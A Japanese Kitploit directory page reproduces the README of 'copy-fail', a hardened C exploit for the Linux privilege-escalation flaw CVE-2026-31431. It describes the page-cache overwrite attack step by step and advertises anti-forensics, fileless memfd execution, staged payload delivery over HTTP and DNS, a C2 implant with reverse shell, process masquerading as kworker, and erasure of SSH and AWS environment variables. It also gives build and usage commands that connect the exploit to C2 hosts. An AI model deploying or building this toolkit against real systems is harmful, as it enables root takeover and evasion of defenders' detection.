Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - レッドチームおよび正規の侵入テスト業務向けの堅牢なC実装。 ⚠️ 法的注意事項: 本ツールは、正規のセキュリティ研究、正規の侵入テスト、および防御分析専用です。自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。 | Kitploit
ツール/GitLabGitLab/toxy4ny/copy-fail
特権昇格エクスプロイトポストエクスプロイトコマンド&コントロールレッドチーミングペイロード開発バイナリエクスプロイト
GitLabtoxy4ny/copy-fail

COPY-FAIL

Copy Fail - CVE-2026-31431 - レッドチームおよび正規の侵入テスト業務向けの堅牢なC実装。 ⚠️ 法的注意事項: 本ツールは、正規のセキュリティ研究、正規の侵入テスト、および防御分析専用です。自分が所有するシステム、または明示的な書面による許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。

リポジトリを見る
1102ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

Copy Fail -- CVE-2026-31431

レッドチームおよび許可されたペネトレーションテスト運用向けの堅牢化されたC実装。

⚠️ 法的注意: 本ツールは、許可されたセキュリティ研究、許可されたペネトレーションテスト、および防御的分析のみを目的としています。自分が所有するシステム、またはテストする明示的な書面による許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。

🚀 主要開発はGitLabに移行しました。
このリポジトリはこちらで積極的にメンテナンスされています。問題やコントリビューションについては、GitLabをご利用ください。


目次

  • 概要
  • 元の研究
  • 私たちの改良点
  • アーキテクチャ
  • ビルド
  • 使い方
  • モジュール
  • 運用上のセキュリティ
  • 検出と緩和
  • クレジット
  • ライセンス

概要

このプロジェクトは、CVE-2026-31431("Copy Fail")ローカル権限昇格エクスプロイトの、堅牢化された本番環境対応のC移植版です。元々はTheoriとXintによって2026年4月29日に公開されました。

元の概念実証はPythonで書かれており、研究デモンストレーション用に設計されていました。この実装は、それをレッドチームグレードのツールキットに変換し、以下の機能を備えています:

  • ゼロディスクアーティファクト (memfdベースのファイルレス実行)
  • 自動ターゲット発見 (MAC認識によるsetuidバイナリ列挙)
  • アンチフォレンジック (キャッシュ削除、タイムスタンプ復元、自己破壊)
  • オペレーター制御 (シグナルトリガー実行、設定可能なタイムアウト)
  • クロスプラットフォーム静的ビルド (x86_64, ARM64, RISC-V、musl/zig経由)

元の研究

CVE-2026-31431: Copy Fail

属性値
公開日2026年4月29日
研究者Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint
解説記事https://copy.fail/
元のPoCtheori-io/copy-fail-CVE-2026-31431 (Python)
C移植版(ベースライン)tgies/copy-fail-c (Tony Gies)
影響を受けるカーネルLinux 4.14 -- 6.14 (修正コミット a664bf3d603d より前)
深刻度CVSS 7.8 (High) -- ローカル権限昇格

脆弱性メカニズム

この脆弱性は、LinuxカーネルのAF_ALG暗号サブシステムに存在します。authencesn AEADテンプレートは、復号のためにin-place最適化を実装しています。ファイルのページキャッシュからsplice()で暗号文が供給されると、カーネルは同じページをソースとデスティネーションの両方として再利用します。

攻撃の流れ:

  1. setuidバイナリ(例: /usr/bin/su)を読み取り専用で開く
  2. AF_ALGを介してauthencesn(hmac(sha256),cbc(aes)) AEAD操作をセットアップする
  3. 対象ファイルのページキャッシュからsplice()で暗号文を供給する
  4. (失敗する)復号操作は、認証で拒否される前にページキャッシュ内の4バイトを上書きする
  5. ペイロードの4バイトウィンドウごとに繰り返す
  6. execve()でターゲットを実行 -- カーネルはキャッシュから変更されたページをロードし、setuid-rootクレデンシャルを付与する
  7. ペイロードは完全なrootシェルに遷移する

重要な洞察: ディスク上のinodeは決して変更されません。メモリ内のページキャッシュのみが変更されるため、フォレンジック検出は従来のファイル上書きエクスプロイトよりもはるかに困難です。


私たちの改良点

このプロジェクトは、元の研究をレッドチーム指向の堅牢化で拡張し、9つのモジュールに及びます。

1. 堅牢化されたエクスプロイトプリミティブ (patch_chunk.c)

機能オリジナル私たちの実装
ソケット管理チャンクごとに新しいソケットソケット再利用 (~60% 少ないシステムコール)
検証なしmmap + memcmp による自動リトライ (3回試行)
並列書き込み逐次的のみフォークベースの並列 (最大16プロセス)
エラーコード成功/失敗のバイナリ詳細: 0=検証済み、1=パッチ適用済みカーネル、-1=致命的
ヒープ割り当てホットパスでmallocスタックのみ (アロケーションジッターなし)

2. 自動ターゲット発見 (target_discovery.c)

  • 3フェーズスキャン: 優先ターゲット → 標準ディレクトリ → ディープスキャン
  • MAC認識スコアリング: AppArmor/SELinuxプロファイルのあるバイナリをペナルティ
  • 18の優先ターゲット: su, sudo, passwd, pkexec, mount, ping など
  • フォールバックチェーン: 一次ターゲットが失敗した場合、自動的に次善の候補を選択
  • Snap認識: /snap をスキップ (非伝統的なsetuid)

3. アンチフォレンジックスイート (anti_forensics.c)

テクニック目的
posix_fadvise(POSIX_FADV_DONTNEED)ファイルごとのページキャッシュ削除
echo 3 > /proc/sys/vm/drop_cachesグローバルキャッシュ削除 (ルート昇格後)
utimensat() タイムスタンプ改ざん元のatime/mtimeを復元
自己破壊exec前にドロッパーバイナリをゼロで上書き
メモリ消去volatile による機密バッファのゼロ化

4. ファイルレス実行 (memfd_exec.c)

  • memfd_create + fexecve: ファイルシステムパスなしで実行
  • クローキング: memfdにkworker、anon_inode、eventfdのような名前を付ける (/proc/$pid/fd/ に溶け込む)
  • フォーク&フォーゲット: ダブルフォークで孤児プロセスを作成 (PPID=1)
  • メモリ内復号: XORおよびRC4で復号してから実行 (ペイロードはディスク上で平文にならない)

5. ステージ1ペイロード配信 (stage1.c)

チャネルステルス性速度フォールバック優先度
組み込み最大即時最後 (エアギャップ)
HTTP直接中<1秒最初
システムcurl/wget低1-3秒2番目 (HTTPS対応)
DNS TXT高遅い3番目 (ファイアウォール迂回)

6. ステージ2 C2インプラント (stage2_template.c)

  • 指数バックオフ付きの回復力のある再接続ループ
  • 3つの分布: 一様、三角形、指数ジッター
  • シグナル制御: SIGUSR1 (トリガー)、SIGUSR2 (ステータス)、SIGTERM (シャットダウン)
  • DNSビーコン: TCP接続前のステルスC2ヘルスチェック
  • プロセス偽装: ps/topで[kworker/N:0]と表示

7. プロセス隠蔽 (proc_hide.c)

  • argv[0]上書き: インプレースで/proc/$pid/cmdlineを置き換え
  • prctl(PR_SET_NAME): カーネルスレッド形式の名前 (16バイト制限)
  • 環境変数サニタイズ: SSH_*、AWS_*、TOKEN*などの選択的消去
  • 親からの切り離し: 端末独立性のためのsetsid() + setpgid()

8. シグナルトリガー制御 (signal_trigger.c)

モード動作ユースケース
trigger_oneshot()スリープ → トリガー → 実行 → 終了ヒットアンドラン
trigger_daemon()スリープ → トリガー → 実行 → ループ持続的インプラント
trigger_auto()タイムアウトフォールバック付きスリープ無人運用

CPUゼロ待機: ポーリングループの代わりにsigsuspend()を使用。

9. スリープジッター (sleep_jitter.c)

  • 3つのRNGバックエンド: getrandom(2)、/dev/urandom、rdtsc フォールバック
  • 棄却サンプリング: 一様分布でのモジュロバイアスを排除
  • ドリフト補正: sleep_scheduled() はジッターがあっても平均間隔を維持
  • サンドボックス検出: check_sandbox_acceleration() でパッチ適用済みのsleep()を検出

アーキテクチャ

┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (オーケストレーター)           │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │ プロセス │ │ターゲット│ │エクス     │ │ クリーン│          │
│  │ 隠蔽    │ │ 発見    │ │プロイト  │ │ アップ  │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              コアモジュール層                          │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              配信&回避層                             │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              ペイロード層 (ステージ2)                │  │
│  │  stage2_template.c  (リバースシェル / C2インプラント) │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

ビルド

要件

  • GCC または Clang
  • GNU Make
  • Linuxヘッダー (linux-libc-dev または同等)
  • オプション: musl-tools (小型静的ビルド用)
  • オプション: zig (最新のクロスコンパイル用)
  • オプション: dpkg-deb (Debianパッケージング用)

クイックスタート

# 標準レッドチームビルド (最適化、ストリップ、静的)
make redteam

# ペンテストビルド (シンボルあり、中程度の最適化)
make pentest

# デバッグビルド (ASAN、完全シンボル)
make debug

# 脆弱性チェッカー (非破壊)
make checker

クロスコンパイル

# ARM64 (AWS/Azureクラウドターゲット)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (組み込み/IoT)
make cross-armhf

# Zigクロスコンパイル (ツールチェーンインストール不要)
make cross-zig-arm64
make cross-zig-riscv

musl静的ビルド (小型バイナリ)

make musl-static
# 約50-100 KBの静的バイナリ、glibc依存性ゼロ

Debianパッケージ

make deb VERSION=1.0.0
# 生成物: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

ビルド情報

make info
# 表示: CC, CFLAGS, LDFLAGS, アーキテクチャ, ツールチェーンの利用可能性

使い方

標準モード (シグナルトリガー)

# インプラントを配置
./exploit &
IMP_PID=$!

# リモートからエクスプロイトをトリガー
kill -USR1 $IMP_PID

# ステータスを要求 (アクションなし)
kill -USR2 $IMP_PID

# 正常シャットダウン
kill -TERM $IMP_PID

即時実行

./exploit -t                    # 今すぐトリガー、シグナル待機なし
./exploit -t -c c2.example.com -p 9999

カスタム設定

./exploit \
  -c c2.redteam.internal \      # C2ホスト名
  -p 4444 \                      # C2ポート
  -d 300 \                       # 5分の初期遅延
  -T 7200 \                      # 2時間のトリガータイムアウト
  -n                             # 脆弱性検証をスキップ

非破壊脆弱性チェック

./vulnerable
# 終了コード: 100 = 脆弱、0 = パッチ適用済み、その他 = エラー

ツールをダウンロード